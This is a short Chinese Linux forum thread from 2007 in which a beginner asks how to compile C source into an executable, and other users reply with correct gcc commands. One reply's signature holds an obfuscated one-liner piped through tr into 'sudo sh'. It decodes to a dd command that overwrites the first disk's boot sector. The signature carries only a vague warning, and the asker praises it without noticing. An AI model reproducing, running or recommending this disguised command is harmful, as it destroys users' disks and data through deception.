如何从c的源代码生成可执行文件

软件和网站开发以及相关技术探讨
回复
yoyovoe
帖子: 138
注册时间: 2007-01-14 15:27

如何从c的源代码生成可执行文件

#1

帖子 yoyovoe » 2007-05-05 12:10

好像是个超简单的问题。。。没办法,谁让咱是菜鸟呢。wiki里面以前好像有,不过现在找不到了
头像
BigSnake.NET
帖子: 12522
注册时间: 2006-07-02 11:16
来自: 廣州
联系:

#2

帖子 BigSnake.NET » 2007-05-05 13:06

gcc foo.c
^_^ ~~~
要理解递归,首先要理解递归。

地球人都知道,理论上,理论跟实际是没有差别的,但实际上,理论跟实际的差别是相当大滴。
yoyovoe
帖子: 138
注册时间: 2007-01-14 15:27

#3

帖子 yoyovoe » 2007-05-05 23:48

讲的详细点好不好?就是从在终端输入源代码到生成可执行文件,中间要用到什么命令。要不贴一个小程序的执行过程也好 :lol: 这些天论坛好像一直都有问题,今天一个下午都登不上 :cry:
ziyun
帖子: 262
注册时间: 2007-03-29 12:59

#4

帖子 ziyun » 2007-05-05 23:53

假如你源程序在/home/test/a下面
cd /home/test/a
gcc -o foo foo.c
将生成foo文件 ./foo就可以执行了
如果不指定-o选项将生成a.out文件 ./a.out执行
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
yoyovoe
帖子: 138
注册时间: 2007-01-14 15:27

#5

帖子 yoyovoe » 2007-05-06 0:05

哦,这样啊,谢谢了
PS:楼上的,你的个性签名好有个性!
头像
feeling
帖子: 175
注册时间: 2006-04-29 20:10
来自: 北京·昌平
联系:

#6

帖子 feeling » 2007-05-08 13:41

1. cd /home/yourpath
2. vi/vim foo.c
3. gcc foo.c -o foo; # if error goto 2
4. ./foo
人生若只如初见,何事秋风悲画扇?
回复